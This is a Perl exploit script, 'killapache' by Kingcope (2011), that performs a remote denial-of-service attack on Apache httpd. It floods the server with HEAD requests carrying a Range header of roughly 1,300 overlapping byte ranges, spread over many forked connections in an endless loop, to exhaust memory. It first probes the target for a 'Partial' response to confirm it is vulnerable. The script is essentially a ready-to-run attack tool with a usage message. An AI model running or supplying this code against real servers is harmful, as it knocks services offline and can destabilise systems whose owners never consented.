KILLAPACHE Apache httpd Remote Denial of Service

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
 
use IO::Socket;
use Parallel::ForkManager;
 
    sub usage {
            print "Apache Remote Denial of Service (memory exhaustion)\n";
            print "by Kingcope\n";
            print "usage: perl killapache.pl <host> [numforks]\n";
            print "example: perl killapache.pl www.example.com 50\n";
    }
 
    sub killapache {
    print "ATTACKING $ARGV[0] [using $numforks forks]\n";
 
    $pm = new Parallel::ForkManager($numforks);
 
    $|=1;
    srand(time());
    $p = "";
    for ($k=0;$k<1300;$k++) {
            $p .= ",5-$k";
    }
 
    for ($k=0;$k<$numforks;$k++) {
    my $pid = $pm->start and next;  
 
    $x = "";
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                     PeerPort => "80",
                                             Proto    => 'tcp');
 
    $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
    print $sock $p;
 
    while(<$sock>) {
    }
     $pm->finish;
    }
    $pm->wait_all_children;
    print ":pPpPpppPpPPppPpppPp\n";
    }
 
    sub testapache {
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                     PeerPort => "80",
                                             Proto    => 'tcp');
 
    $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
    print $sock $p;
 
    $x = <$sock>;
    if ($x =~ /Partial/) {
            print "host seems vuln\n";
            return 1;      
    } else {
            return 0;      
    }
    }
 
    if ($#ARGV < 0) {
            usage;
            exit;  
    }
 
    if ($#ARGV > 1) {
            $numforks = $ARGV[1];
    } else {$numforks = 50;}
 
    $v = testapache();
    if ($v == 0) {
            print "Host does not seem vulnerable\n";
            exit;  
    }
    while(1) {
    killapache();
    }